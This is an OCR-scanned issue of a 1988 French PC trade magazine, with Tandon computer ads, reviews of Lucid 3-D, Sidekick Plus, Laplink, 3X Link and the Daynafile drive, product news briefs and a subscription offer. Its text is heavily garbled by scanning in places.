Toutes nos références sont garanties 12 mois P & M.O.. retour en nos locaux, dans l'emballage d'origine. 



SYSTÈMES PROFESSIONNELS STRICTEMENT COMPATIBLES 

J2>SC" ORDINATEURS 

5 - 7, me des Pavillons S28O0 PUTEAUX Tél. : 47.74.98.64 Télex : 612196 

Ouvert du lundi au vendredi de 10 h à 12 h 30 et de 14 h à 18 h. 



PRIX SEULEMENT VALABLES EN FRANCE MÉTROPOLE RÉVISIBLES SANS PREAVIS 



TAN)ON 

LA REVOLUTION 

PERMANENTE ! 



C'est en se remettant sans cesse en ques- Notre capital : les idées. Notre valeur ajoutée, le premier, le Disque Dur Portable Une conviction qui nous pousse sans 

tion que l'on trouve les bonnes réponses. C'est celle que nous apportons avec notre imagination. si gné Tandon : le" Personal Data Pac." cesse vers d'autres révolutions, en 

la philosophie de Tandon : un groupe infor- Des hommes qui font naître les machines, qui Chez Tandon, nous pensons I m » respectant ce qui fait notre force: l'in- 

matique devenu l'une des plus importantes grandissent avec elles, c'est une synergie qui Que depuis cette révolution, plus ,_ a j3BBE^ . dépendance ! C'est la "Révolution 

références de qualité du marché français de justifie notre enthousiasme avec l'invention du "en ne sera jamais comme avant Permanente". C'est une déclaration, 

la micro informatique. petit dernier qui risque de devenir très bientôt dans le paysage informatique. U', 1 " '"■•.f^^- Un état d'esprit. Partageons-le. 







TANDON 386 
LE PREMIER MICRO 

LIVRÉ AVEC 

UNE RÉVOLUTION 

A L'INTÉRIEUR 



Vous avez le pouvoir. Découvrez la puissance avec 
le Tandon 386. Et pour être le Premier, profitez de notre 
avance: Micro-processeur 80386 à 20mHz, 2 Mo de 
mémoire vive, une mémoire cache statique de 64Ko, 
îlOMo de mémoire de masse, temps d'accès de 27 ms. 
Vous êtes un privilégié, le Tandon 386 vous offre la révo- 
lution avec le Personal Data Pac: un disque dur portable 49 
de 30 Mo. Vous maîtrisez vos données, vous retrouvez 
quand bon vous semble votre environnement 

de travail; vous __ M conservez en toute 

confidentialité vos --■■-■■.---^ ■ ' données loin 

des regards g ^ht~— '— :~ :~ indiscrets. 

Vous régnez — — ~~h SSf^rrfr.'.'' sans partage... 



^ /^(JLw J4ésr*cw^7e~ 



LES ORDINATEURS E 



...^?:*™_ 



-PC1512-SD-M0N0 4490 

-PC1512-DD-MONO 5690 

-PC1 51 2-SD-COULÉUR.....6290 
-PC1512-DD-COULEUR 7490 



-EA5Y-PC1D 

-EASY-PC2D 

-EASY-PC3-HD20MO... 
-Extension 128Kc+Port 



HYPER-CB 



ACTUALITES 



VITESSE HORLOGE » Mo .EXTENSO; £ 
* ■ Us - DOIVE 1.2 Mo - RECEPTACLE 
INTERNE POUR DATAPAC ■ DISK DUP 
DEIIOMo-CLAVIEfillB TOUCHES- 
MONITEUR GRAPHIQUE 14' - MONO ■ 
RESOLUTION 720 X 348 - CARTE 
GRAPHIQUE MONO COMPATIBLE 
HERCULE ■ POflT SERIE RS232 ■ PORT 

CENTRONICS- 6 SLOTS 
D'EXTENSION DISPONIBLES ■ 
EN OPTION : MONITEUR COULEUR 




GAMME 6 ■ 8 Mhz 

: : PAC-286-unit9cen!ra!e..,,1f3Sû 

•D-PAC1,... :,...„......:„14190 

unité centrale + 1 disk riur 30Mo 

"f-PACL. 
uc+1. disk dur 3DM>+1 .dnve 1 ,2 

;^D-PAC2.-,.:....„.„ 

le eentrale+2 disk, durs 30Mp 

-E-PAC2..:„:...... 19190 

'ûe+2 ifistùJurs 3QMo+î drive 

GAMME PLUS 8 

B-PLUS... 

-D-PAC1-PLUS 15790 

-E-PAC1-PLUS... 
-D-PAC2-PLUS.. 
-E-PAC2-PLUS... 

OPTIONS TANDON PAC 2B6 

-DATA-PAC 30 MO 2500 

-SUPPLEMENT MONITEUR 
COULEUR+CARTE EGA...350Q 

PRIX HORS TAXE - VALABLES JUSQU'A 



CHOISISSEZ VOUS MEME 
LE PRIX DE VOTRE PC 



LES PRIX HYPER-CB 



-HERCULE MONO+PARA....350 

-CGA + PORTPARALL .400 

-DUAL CGA-HERCULE 530 

-AUTOSWITCH EGA. 1390 

-MONITEUR MON0 12- 690 

-MONITEUR MONO TTL....980 

-MONITEUR CGA. 2070 

^MONITEUR EGA 3370; 



LECTEUR 3" 1/2 
POUR AMSTRAD 
ET AUTRES PC 

1.890™ 



TRAITEMENT -DE TEXTE 

-pcw-8256:,.,;..::,..:.. 

-PCW-8512 :.?..;.„ 



ECARTE DISK DUf^ 
40 Mo TANDON i 

3.990 v 




LUCID 3-D : 

LE TABLEUR CLAIRVOYANT 

Au monde du tableur manquait son vrai outsider. 
L'aurait-on trouvé avec Lucid 3-D ? Il allie convivialité, 
puissance, rapidité et originalité. 



En réponse à Lotus 1-2-3 
ec à ses clones qui se préten- 
dent plus performants les 
uns que les autres, mais né- 
cessitent des extensions-mé- 
moire pour fournit des 
temps de traitement accep- 
tables, en réponse à Excel qui 
réclame des machines haut 
de gamme sous Windows 
pour révéler ses réelles capa- 
cités, Lucid 3-D de PCSG 
exploite ses nombreuses 



57 Ko qui lui sont alloués. 
Grâce à la troisième dimen- 
sion (consolidation), cette li- 
mite est repoussée au vo- 
lume du disque. Les menus 
sont de type 1-2-3 avec une 
originalité : leur arborescence 
est conservée visuellement à 
l'écran. 

La souris accroît sans 
conteste la facilité et la rapi- 
dité d'utilisation de Lucid 3" 
D qui peut néanmoins s'en 




fonctions même sur un sys- 
tème standard. De plus, il 
est résident en mémoire cen- 
trale, ce qui autorise à agir en 
toile de fond d'une autre 
application. Il possède assu- 
rément les qualités du ta- 
bleur de demain. Lucid 3-D 
vient d'être introduit en 
France par Software Tech- 
nologies. 

Occupant 1 12 Ko en mé- 
moire, Lucid 3-D peut créer 
des feuilles de calculs tridi- 
mensionnelles, ayant jusqu'à 
9 999 lignes sur 255 colon- 
nes, mais sans excéder les 



passet. Le débutant appré- 
ciera dans ce tableur son aide 
en ligne richement docu- 
mentée (appelable à tout 
instant par FI) et sa faculté 
d'effectuer l'ensemble des 
commandes sans en connaî- 
tte les bases grâce à des 
écrans de saisie à choix pré- 
définis. L'utilisateur de 1-2- 
3 pourra récupère! ses feuil- 
les à l'aide du piogtamme 
LGD-WKS.EXE qui les 
convertit au format spécifi- 
que du logiciel, mais gare au 
débordement. 

Non content de possédet 



une cinquantaine de fonc- 
tions préprogrammées (ma-, 
thématiques, statistiques, 
1 trigonométriques et finan- 
cières), Lucid 3-D offre la 
possibilité de les enrichir. Un 
presse-papiers emprunté au 
monde du Macintosh assure 
les classiques fonctions de ' 
couper/copier/coller, utili- 
sées de façon quasi perma- 
nente dans le logiciel tant 
pour la recopie de formules 
que pour la récupération de 
données provenant d'une 
autre application, ou pour 
transférer un champ de cel- 
lules de Lucid vers l'applica- 
tion du ptemier plan. Une 
fonction Autosave assure de 
façon astucieuse la sauve- 
garde régulière de la feuille 
de calcul par le système. Une 
calculette résout les opéra- 
tions arithmétiques classi- 
ques avec, si l'on veut, trans- 
fert du résultat dans une 
cellule. Bien que la protec- 
tion soit semblable à celle de 
Lotus 1-2-3, elle est plus 
efficace ici puisque visuelle- 
ment repérable par des cou- 
leurs, Pour parfaire les fonc- 
tions d'analyse, Lucid 3-D 
est pourvu d'une fonction 
Audit pour lister et visualiser 
l'ensemble des cellules 
contenant une formule de 
calcul, ou les cellules reliées à 
la cellule active. Le recalcul 
minimal assure une très 
gtande rapidité de traire- 
ment puisque seules les cel- 



lules concernées par la nou- 
velle entrée sonr recalculées 
et non l'ensemble. 

La troisième dimension 
règle tous les problèmes cou- 
rants de consolidation de 
feuilles. L'appui sur la tou- 
che + du pavé numérique 
crée un lien entre la feuille de 
consolidation et n feuilles- 
sources. Le nombre de ni- 
veaux est illimité. Pour met- 
tre en évidence la notion de 
3D, l'utilisateur emploieta 
jusqu'à neuf fenêtres à 
l'écran et en assurera posi- 
tionnement, chevauchemenr 
et redimensionnement grâce 
à la souris. Un écran dé notes 
peut être rattaché à n'im- 
porre quelle cellule, ce qui est 
pratique dans le cas d'une 
cellule liée à une autre. 

Doté d'un véritable lan- 
. gage de macrocommandes, 
Lucid 3-D devrait rencontrer 
le succès que mérire un ta- 
bleur réellemenr novateur. 
Pour un peu moins de 
1 500 F ht, les utilisateurs 
auront entre les mains un 
tableur « nouvelle vague » . 
ARNAUD DE LA 
POMMER AYE 



Fonction : tableut trois 
dimensions: Fonctionne sous 
DOS, versions 2.0 et 
ultérieures. 
■Version testée': 1.1.8 
américaine. ' ! 
Editeur : Personal Computer 
Support Group Inc. (Etats- 
Unis). , 

Distributeur en France: . 
Software Technologies. 
ffix;1450Fht. 
Disponible ai version 
américaine. Francisation en 



JUMBO SIDEKICK PLUS p-r"* 



Plus de deux millions de copies de Sidekick 
seraient en service dans le monde. Le 
précurseur des accessoires de bureau résidents 
renaît aujourd'hui dans une version « Plus >. 
Fruit de trois ans de développement, elle est 
réservée aux PC bien pourvus en mémoire. 



Impressionnant est le mot 
qui convient pour qualifiei 
Sidekick Plus. De petit ac- 
cessoire discret, le produit de 
Borland est devenu une sorte 
de poids lourd logiciel, véri- 
table conglomérat d'utilitai- 
res indispensables. Il ne lui 
manque plus qu'un tableur 
et un grapheur pour devenir 
l'ultime intégré. 

Le produit lui-même ins- 
pire déjà le respect : les qua- 
tre disquettes à installer rem- 
plissent 1 ,6 Mo sur le disque 
dur, et le programme seul 
occupe plus de 400 Ko. La 
documentation (en anglais 
pour l'instant) n'est pas en 
reste, car le manuel principal 
dépasse les quatre cents 
pages. Cependant, il est fi- 
dèle à la tradition Borland : 
clair, didactique et complet. 
Pour autant, ce < jumbo > 
Sidekick sait demeurer dis- 
cret, car il n'occupe que 
72 Ko de code résident en 



Fonction: ensemble 
d'accessoires de bureau sous 
DOS. 

J fte:autourde2 000Fht. 
Disponibilité : version 
américaine en juin, version 
française en septembre avec 
une émulation Minitel. 
Service-lecteurs, référence if 20 



MEV (plus de 100 Ko pour 
l'ancienne version, en confi- 
guration maximale). La 
contrepartie est une certaine 
lenteur au chargement, ainsi 
que lors du retour à l'appli- 
cation principale. 



■DES OPERATIONS 
■ RAPIDES 

A l'usage, ce nouveau Si- 
dekick se révèle plus proche 
d'un environnement de bu- 
reau complet que de l'habi- 
tuelle collection d'accessoi- 
res. Le menu < file 
manager » remplace avanta- 
geusement la classique ligne 
de commande DOS. Les 
opérations courantes de re- 
cherche de fichier, copie, re- 
nomination, changement ou 
création de sous-répertoire 
s'opèrent en un instant, et 
dans une présentation 
d'écran bien plus agréable 
que l'énigmatique 
< prompt » du DOS. Idem 
pour le formatage d'une 
nouvelle disquette : Sidekick 
Plus spécifie clairement le 
format et la capacité (5' 1/4 
et 3*1/2, 360 Ko à 
1,44 Mo). 

La fonction de prise de 
notes (Notepad) a été amé- 
liorée. L'utilisateur dispose 
maintenant de neuf feuilles 
de notes indépendantes, avec 



de passer instan- 
tanément de l'une à l'autre 
et d'effectuet du couper-col- 
ler en provenance de l'écran 
ou d'une application. L'im- 
portation/exportation de 
données est devenue très 
souple, grâce à l'usage d'un 
presse-papiers (dipboard), 
que l'on peut remplir sans 
même appeler le menu de 
Sidekick. 

Parallèlement au Note- 
pad, Sidekick Plus 
comptend maintenant un 
processeur d'idées (oudiner), 
capable de lire les fichiers de 
Ready, ThinkTank et PC- 
Outline. Rappelons qu'un 
oudiner est un organisateur 
d'idées, plus concrètement 
un éditeur de texte capable 
de gérer des paragraphes 
avec des titres hiérarchisés. 

Celui de Sidekick peut 
travailler sur neuf textes à la 
fois, ou sur 2 000 titres, avec 
en plus la possibilité d'atta- 
cher une feuille de notes de 
5 000 caractères (indépen- 
dants du texte) à chaque 
titre. Indispensable pour 
concevoir de larges synthèses 
(on jette les idées pêle-mêle, 
puis on les hiérarchise), cet 
oudiner sera également pré- 
cieux pour le développeur 
désireux de < naviguer > 
aisément dans le texte d'une 
longue source de code. 

Outil de bureau par ex- 
cellence, l'Agenda de Side- 
kick s'est mué en un organi- 
sateur (Time Planner). La 
feuille de rendez-vous peut 
s'agrémenter de mémos 
complémentaires (un par 
rendez-vous), et s'assortit 
d'un intéressant emploi du 
temps (graphique XY mon- 
trant la disposition des ren- 
dez-vous sur plusieurs 
jours). 



Indispensable aussi, la 
calculette. En fait, il n'y a 
plus une calculette mais qua- 
tre, dotées chacune de fonc- 
tions spécialisées (calcul 
scientifique, commercial, lit- 
téral avec formules - pour 
les habitués des tableurs -, et 
multibases pour les pro- 
grammeurs). De plus, la cal- 
culette est dorénavant ac- 
compagnée d'un nouvel 
outil (bande magnétique), 
simulant le ticket des caisses- 
enregistreuses. On visualise 
les opérations précédentes, 
on les édite et les réintègre 
dans une application. 



■UN REPERTOIRE 
■ FONCTIONNEL 

Enfin, le répertoire télé- 
phonique de Sidekick Plus a 
fait peau neuve. Système do- 
cumentaire à lui tout seul 
(une fiche détaillée rattachée 
à chaque entrée du réper- 
toire, plus un éventuel 
mémo), il a été complété par 
des fonctions télématiques 
très complètes (émulation de 
terminal avec filtrage des ca- 
ractères ou transcodage, 
transferts Xmodem sum ou 
CRC, apprenrissage de 
scripts, langage de program- 
mation, etc.). 

Ce Sidekick se rend rapi- 
dement aussi indispensable 
que son aîné. Peu de défauts 
à signaler. Tout au plus 
quelques sautes d'humeur 
sous OS/2 (gestion des 
communications séries et 
formatage de disquettes), 
ainsi qu'un joyeux charivari 
avec Word 4 (ne pas choisir 
une couleur de fond supé- 
rieure à 7, sous peine de 
surprises !). Nous attendons 
avec impatience la version 
française. ALAIN MARIATTE 



MAXIMICRQ 



® 



LA COMPETENCE EN MICRO-INFORMATIQUE 



La REVOLUTION TANDON 

est en marche chez MAXIMICRO 




(0. 43.48.58.58 



TOUTE LA GAMME TANDON EN DEMONSTRATION PERMANENTE DANS NOS LOCAUX 



-: l^dusrn-ia-laTOiriifjgtf.'Gi 



ACTUALITES 



DE PC À PC 
EN TGV 

Deux logiciels récents, 3X Link et Laplink, 
autorisent des liaisons de PC à PC à très 
grande vitesse: 115 200bauds. 




3X Link de chez 3X et 
Laplink distribué par Soft- 
ware Technologies sont deux 
systèmes de liaisons PC à PC 
à 115 200 bauds. Une vi- 
tesse suffisante pour recopier 
une disquette 5 ' 1/4 au for- 
mat 3"l/2 sans attendre 
éternellement. Chacun des 
produits comprend un câble 
avec les prises db9 et db25 et 
un logiciel. Le câble 3X est 
bien plus long que celui de 



Distributeur :3X. 
Prix: 1500 Fht. ' 

Service-lecteurs, référence rf 21 



Dîscribuceur : Software 
Technoiogies. 
Prix:\ 290Fht. 
Service-lecteurs, référence rf 22 



Lap ( 10 m contre 2,40 m). 
La documentation est encore 
en anglais chez Lap. Celle de 
3X est succincte. 

Afin de tester ces disposi- 
tifs, "pour chacun d'eux nous 
avons transféré deux pro- 
grammes d'un PC XT IBM 
vers un Compaq AT. Le 
premier, occupant 44 414 
octets, a été expédié en 6,9 s 
via 3X et le second de 
60 928 octets migta en 
9,1 s. Soit un taux de trans- 
fert de 6,4 Ko/s ou encore 
52 457 bps en-moyenne. 

Pour sa part, Lap a effec- 
tué la même opération res- 
pectivement en 16,8 s et 
23 s. Soit un taux de trans- 
fert de 2,58 Ko/s ou encore 
21 120 bps. Ces temps tien- 
nent compte de la lec- 
ture/écriture sur chacun des 



disques présents en bout de 
chaîne. 

3X Link permet des ma- 
nipulations simples de fi- 
chiers : dir, send (remplaçant 
copy) et xsend (remplaçant 
xcopy), delete et cd. Il est 
très orienté vers le transfert 
rapide. Contrairement à son 
homologue, il esr résident en 
mémoire(104Ko). 

Laplink, en revanche, esr 
un véritable utilitaire de ges- 
tion de disque dur de la 
famille Xtree. On peut voir 
sous forme de graphe le 
contenu du disque dur, 
créer, renommer et changer 
les répertoires. On dépose de 
commandes globales ou sé- 
lectives servant à des mani- 
pulations de fichiers grou- 
pés. De plus, n'exige pas 
que les deux PC soient en 
communication comme 3X. 



■ ERGONOMIE 

Tous deux ont un écran 
divisé en deux fenêtres. 3X 
les nomme : < chez moi et 
chez lui >, Lap, plus classi- 
quement, < local drive » et 
« remote drive ». 3X pro- 
pose un < prompt >, proche 
du DOS attendant l'une des 
commandes autorisées. Lap 
affiche directement chacun 
des répertoires. Les 
commandes, type Lotus, 
sont au bas de l'écran. Voici 
deux programmes d'appa- 
rence semblable qui diffèrent 
dans leur vocation. 3X, rési- 
dent, est tourné vers 
l'échange de données de ma- 
nière simple et rapide. Lap, 
plus sophistiqué, est plus 
lent. Par sa richesse fonction- 
nelle, il est adapté à la ges- 
tion d'un disque dur distant. 
ALAIN S1M0RAY 



DEPUIS LE 1" MAI 1988, 
LE TRAITEMENT DE 

texte WotdPerfect 4.2 est 
passé à 4 000 F ht (il était 
vendu 5 600 F ht). Cette 
baisse de prix coïncide avec 
la sortie de la version 5.0 en 
anglais proposée au prix pro- 
motionnel de 4 000 F ht 
jusqu'à l'arrivée de la version 
française en septembre à 
4 800 F ht. Les mises à ni- 
veau de 4.2 en 5.0 et de la 
vetsion américaine en ver- 
sion française coûteront 
800 F ht, 

ScrYta-kaeuft. référence n" 2} 



AMSTRAD LANCE UNE 
NOUVELLE IMPRI- 

mante. La LQ 5000, double 
interface, 24 aiguilles, im- 
prime à 288 eps en listing et 
96 eps en qualité courrier. 
Elle offre une largeur de 132 
colonnes. Equipée en stan- 
dard d'une interface paral- 
lèle et d'une intetface série, 
elle coûte 4 490 F. 

S-ma-ktU'urs. référence n" 24 



LA COMMANDE ELEC- 
TRONIQUE LANCE LCE 
Tech, une revue technique 
sur les produits. 124 pages 
d'applications, de trucs, de 
programmes et une dis- 
quette. 500Ftrc l'abonne- 
ment annuel. 

Scma-lectèurs. référence n" 25 



PROLOGUE SE LANCE A 
SON TOUR DANS LES 

salons. Les 1 H , 2 et 3 juin, à 
l'Holiday Inn de la porte de 
Versailles, aura lieu le pre- 
mier Salon des solutions 
multipostes et réseaux du 
monde Prologue. 
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Gamme PMS 

1er MULTI-STANDARDS 

EUROPEENS 



PMS 286 




Prestige Multi-Standards 



MAITRISE DE L'EVOLUTION 

Standards, TRAN sX?OUS am 



BENEFICIEZ DE LA MAITRISE D'UN GRAND CONSTRUCTEUR FRANÇAIS 

esponsable de la "OUALITE PMS3B6- 16 MHz, PMS 386 -20 Mi 



MAITRISE DE LA HAUTE 
TECHNOLOGIE 

S. A. esl détaché à la recherche et a j 
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• HuilM«l«llll5' , 1.'4(1-2Mo/360Ko> 
3" 1/2 (1 .4Mo/720Ko/1.2Mo/360Ko). 

• Multi-graphlqun : EGA 640 « 480, 
EGA 640 X 350. HERCULES, CGA 
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ACTUALITES 



DU PC AU MAC 
(ET RETOUR...) 

Le Daynafile tente de rapptochet les galaxies 
Macintosh et IBM PC par l'adjonction d'un 
lecteur de disquettes compatible avec le 
standard MS-DOS. 



Le succès du Macintosh 
dans les entreprises rend de 
plus en plus crucial l'échange 
des données avec le parc de 
PC travaillant sous MS- 
DOS. Pour réaliser cet 
échange, il existe plusieurs 
solutions. Toutes nécessi- 
tent, dans un premier temps, 
de relier physiquement les 
machines. Ce sera un câble 
série, le réseau Tops ou le 
lecteur Daynafile. Ensuite, 
seulement, on passera à la 
conversion des données à 
l'aide d'un logiciel ad hoc 
(Madink Plus...) ou bien à 
la main. Récemment intro- 
duit sur le marché français, le 
Daynafile semble résoudre 
élégamment ce problème. 

Disons le tout net, le 



île n est pas un emu- 
lateur IBM PC. En aucun 
cas, il n'autorise le fonction- 
nement de logiciels IBM sur 
un Mac. Il est seulement un 
instrument permettant d'ac- 
céder à des fichiers MS- 
DOS. 

Livré avec une version 
bridée de l'utilitaire de 
conversion de fichiers Ma- 



dink Plus de Dataviz, cet 
instrument résoudra - avec 
une grande réserve relative à 
l'absence de transcodage des 
caractères français - la plu- 
part des cas de transferts de 
fichiers. 

Le Daynafile se présente 
comme un lecteur externe de 
disquettes supportant diffé- 
rents formats : 360 Ko, 
1,2 Mo en 5° 1/4 et 
720 Ko, 1,44 Mo en 
3" 1/2. La version testée 
était un lecteur 360 Ko. Son 
impressionnante alimenta- 
tion (5 et 12 V) n'a pu être 
intégrée à l'appareil. Le lec- 
teur se connecte sur le port 
SCSI du Macintosh ou en 
boude, sur un quelconque 
périphérique déjà installé. 

La documentation (en 




Lapiink Mac, créé par 
Traveling Software et distri- 
bué en France pat Software 
Technologies, est la version 
hétérogène (Mac/PC) du 
produit PC Lapiink. H per- 
met de transférer à 
57 200 bauds théoriques du 
Mac vers le PC et inverse- 
ment. Toutes les opérations 
sont pilotées depuis le PC 
qui affiche, dans deux fenê- 
tres, le contenu des disques 
de chacune des machines. 

Un certain nombre 
< d'options constructeurs > 
(MacWrite, MS Word, 
WordPerfect, Pagemaker) 



permettent les conversions 
PC vers Mac. Une option 
ASCII pure élimine les ca- 
ractères de contrôle. 

Lapiink Mac est compati- 
ble avec les réseaux Apple- 
Share et Tops. On peut 
transférer vers le PC-pilote 
un fichier depuis un autre 
PC lié au Mac par Tops. De 
manière moins perverse, 
Lapiink reconnaît l'ensem- 
ble du serveur de fichiers 
AppleShare. En pratique, 
nous avons mesuré un trans- 
fert entre un PC IBM et un 
Mac Plus. La vitesse ne dé- 
passe guère les 10 000 bps. 



Simplicité, fiabilité et ri- 
chesse fonctionnelle font de 
ce produit un outil inté- 
ressant pour la liaison 
Mac/PC. 

AS. 

Concepteur: Traveling 
Software. 
Distributeur : Software 



Constitution: 1 câblede 

2 ,40 m avec prises db9 / 

d b2 5 côté PC et db9 / mini 

Din 8 broches côté Mac, un : 

logidel PC et un logidel 

Mac. 

Prix: 1900 F ht environ. 

Service-lecteur?,, référence n" 26 



langue anglaise pour le mo- 
ment) est daire, mais par 
trop succincte pour la partie 
relative au transcodage des 
fichiers transmis entre un 
Mac et un PC. 



■ DAYNAFILE 

Le pilote, sous la forme 
d'une Init, est à installer 
dans le dossier système (ver- 
sions Finder 4.1 et System 
5.5 au moins) ; le Daynafile 
sera automatiquement re- 
connu au démartage. Le 
programme pilote de disque 
est à ce point transparent que 
les utilitaites Mac comme 
Fedit ou MacTools, 
< abusés >, traitent cette 
disquette MS-DOS sans 
problème. 

Le lecteur pourra égale- 
ment formatet de nouvelles 
disquettes MS-DOS et rece- 
voir, à l'inverse, tout fichier 
du Mac pour un usage ulté- 
rieur sur PC. 

Visuellement, la dis- 
quette appâtait sut le bureau 
du Mac, autotisant toutes les 
fonctions dassiques (icônes, 
copies, dossiers, etc.) qui 
s avèrent efficaces et sont tra- 
duites en MS-DOS (dos- 
sier = répertoire, nom = 
label, etc.). Hélas, un simple 
transfert de fichiers par dé- 
placement d'icônes ne règle 
pas tous les problèmes, 
même si un fichiet IBM peut 
être, ainsi, théoriquement lu 
sur le Mac et vice versa. 



■MACLINK PLUS 
■ DE DATAVIZ 

Le petit utilitaire Dayna 
Transfert fourni avec le Day- 
nafile est une version incom- 
plète du logidel Maclink. 



Concepteur : Dataviz. 
Distributeur: Alpha 
Systèmes. 
Pax:2 150Fht. 
Service-lecteurs. référenceif2 



Avec lui, le résultat est par- 
fait... mais pas en France ! A 
propos des conversions des 
structures des fichiets entre 
des applications de type 
IBM (Word, dBase ou 
Lotus 1-2-3, etc.) et celles 
du Mac (Word 3, McMax 
ou Excel, etc.), ses possibili- 
tés s'avèrent étonnantes. 

11 demeure qu'en France 
un problème de taille se 
pose. Le jeu de caractères 
IBM n'est pas compatible 
code à code avec celui du 
Mac : un « é > IBM donnera 



un < Ç > sur Mac. Cet 
utilitaire réalisera correcte- 
ment la conversion seule- 
ment dans le cas du transfert 
simple de textes non forma- 
tés (texte ASCII seul) ou de 
textes Word (mais c'est id le 
Wotd 3 du Mac qui effectue 
ce travail de conversion de 
caractères). Vtaiment dom- 
mage, d'autant qu'une op- 
tion « Préférences France > 
laissait ptésager le contraire, 
mais elle semble tout à fait 
inopérante... Il faudra sans 
doute se procurer une ver- 
sion complète originale du 
logidel Maclink Plus afin de 
réaliser correctement toutes 
les opétations de transco- 
dage. 

L'utilisation du Daynafile 
se résume donc à une grande 
simplicité de transfert de 



Concepteur : Dayna. 
Fonction : lecteur externe de 
disquettes 3" 1/2 et 5" 1/4 
pour Macintosh. 
Distributeur en France: 
Garnie. 

Prix ; 1 lecteur 5 ' 1/4 de 
1,2 Mo ou 1 lecteur3°l/2 
de 720 Ko, 8 150 Fht. 



Les deux ensemble: 

10 950 Fht. 

Le logidel Dayna Transfert: 

950 F ht. 

Le câble SCSI pour le Mac : 

400 Fht. 

Le boîtier de raccordement 

Terminator: 400 F ht. 

Svr- : kc-k\'.ivrs, rètm-ncc. if Jb 



petits fichiets (dans tous les 
cas, d'une taille inférieure à 
720 Ko, capadté optimale 
d'une disquette MS-DOS 
version Daynafile) entre Mac 
et PC. Reste que ce service 
peut être également rendu 
par l'usage d'un banal câble 
de connexion série entre les 
deux machines et de deux 
logidels de transfert de don- 
nées (par exemple Mac Tell 



et Procomm). La fadlité 
supplémentaire offerte par le 
Daynafile (utilisation de l'in- 
terface Mac-souris) justifie- 
t-elle les quelques milliers de 
francs d'investissement? 
Question d'autant plus inté- 
ressante que le logidel Ma- 
dink Plus est commercialisé 
indépendamment. 

JEAN-CHRISTOPHE 
KRUST 



LE N°l DE LA 
LOCATION 
COURTE DURÉE, 
C'EST MOI! 
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ACTUALITES 



HEWLETT PACKARD 
ANNONCE QUE LAVER- 
sion d'avril d'OS/2 de Mi- 
crosoft sera compatible avec 
les ordinateurs de la série 
Vectra. OS/2 réclame 
640 Ko de mémoire de 
base, 1 Mo de mémoire 
étendue (2 à 4 Mo pour 
plusieurs caches) et un dis- 
que dur. 

■ 
ANIRAL UTEC PRÉ- 
SENTE LE PS 32, UN OR- 

<n0i!.[eur : bioiphïijf y. Un 
68010 à 10 MHz est prévu 
pour supporter Unix System 
V et un 80386 à 16 MHz 
pour MS-DOS. Les deux 
systèmes cohabitent. Avec 
un disque dur de 20 Mo et 
2 Mo de mémoire centrale 
de part et d'autre, la ma- 
chine vaut 60 000 F ht. 
ïi-rvia-lccnrurs. référence n" 9 




MANNESMANN TALLY 
LANCE QUATRE Nou- 
velles imprimantes. Deux 
24 aiguilles viennent 
compléter la gamme. La MT 
222 et la MT 330/24 sont 
destinées au marché bureau- 
tique. Pour la micro-édition, 
deux « laser » voient ie jour 



La MT910/S imprime 10 
pages/minute à 300 dpi. La 
MT910/U(U comme Ul- 
trascript) possède 39 polices 
de caractères et deux langa- 
ges de description de pages : 
DDL et PostScript. MT 
222 : 6 920 Fht. MT 
230/24: 11 800Fht. MT 




«I2S PRÉSENTE UNE 
NOUVELLE VERSION 
de son logiciel PC-Scope : 
FIDS548. Monocarte, elle 
permet d'accéder au déve- 
loppement d'applications de 
VAO (vision assistée par or- 
dinateur) sur PC sous DOS. 
Le produit comprend le 
logiciel PC-Scope, la carte 
de traitement d'image et la 
caméra et coûte : 89 000 F 
ht. 
Service-lecteurs, réferencerf II 



LA COMMANDE ELEC- » 
TRONIQUE PROPOSE 

les disques amovibles Plus. 
Ils existent en version 20 et 
40 Mo. Ils permettent de 
transféter des données 
depuis un PC ou un PS, sous 
DOS ou OS/2. En 20 Mo: 
6 000 Fht. En 40 Mo : 
8000 F ht. 

Scrvta-kïr cura, réferencerf 10 
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910/S : 39 990Fht. MT 
910/U :43 900 F ht. 

Servie ï-Iecreurs, référence n" 



À L'AMENDE. DANS LE 
DERNIER TEST SUR LES 

portables, l'IEEE LT 3200 
s'est vu diminuer de moitié 
ses résultats. Le mode turbo 
activable et désactivable 
(trop facilement) par une 
touche du clavier située à 
côté de la touche CapsLock 
n'était pas enclenché. Les ré- 
sultats sont à doubler. Nor- 
ton atteint 13,3, Mips 1,62. 
Les temps d'accès-mémoire 
passent à 0,88 s, et l'indice 
Lotus à 720. Le LT 3200 
devient ainsi le plus véloce 
de sa catégorie. Un résultat 
qui mérite d'être signalé. 
HD Microsystème qui ne 
figurait pas dans ce test, et 
qui nous le fait savoir, sera 
ravi d'apprendre ce résultat 
puisque son portable est un 
LT 3200 identique. 
Page 90, une etreur s'est 
glissée dans le premier para- 
graphe déformant le sens du 
propos. < Le Lap AX pré- 
sente > doit être lu comme 
< Il présente >. L'ensemble 
du paragraphe concerne bien [ 
sÛrleMTP32 



L'information utile 
pour exploiter 
pleinement toute* 
les ressources <p| 
vos PC/PS 



Que choisir? Dans chaque numéro, le 
classe complète de produits, matériels ou 
d'essai approfondis débouchent sur une préconisation de choix 
tenant compte des besoins personnels de chaque utilisateur. 

Pourquoi faire? Le point sur un des usages classiques et très 
i n pe personnelle (traitement de textes, 

gestion commerciale, etc.). L'état de l'art. Optimisation des pro- 
duits et derniers développements. 

Professions. Les outils micro-informatiques spécialisés disponi- 
bles au service des divers métiers. Expériences et avis des experts 
de chacune des professions traitées. 

Comprendre ■ Une rubrique d'initiation, simple et pédagogique. 
Pour découvrir DOS, OS/2, les grands logiciels et les diverses tech- 
niques de la micro professionnelle. Indispensable pour ceux qui 
mettent le pied à l'étrier. 

Pages bleues. A la manière des pages jaunes de l'annuaire, 
cette rubrique se veut surtout pratique. Sa couleur symbolise son 
orientation résolument technique. Astuces, programmes utilitaires 
et procédures diverses y sont proposées aux utilisateurs avertis. 

et aussi les rubriques Services, Rencontres, Lecture, Témoignages, 

Tribune, Actualité/Nouveautés, Profil, Formation. 





Le 1 er magazine 
des PC/PS 

et compatibles en 
entreprise 
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AU LIEU DE 290F 

(PRIX DE VENTE AU NUMÉRO) 



TITRE D'ABONNEMENT PREFERENTIEL 

TkmpsMicm, Seniwprcmtv.tO!i: ô. pince du Co}onel-Fbbien 75491 Paris Cedex 10 
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os) au prix de 240 F seulement {au lieu de 2! 
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ADN : UNE BASE NOUVELLE SUR 
DE NOUVELLES BASES 

Claude Colin a planché plus de trois ans pour aboutir à un 

nouveau concept de base de données sur Macintosh. ADN se présente 

sous une forme modulaire. 




De longues années durant 
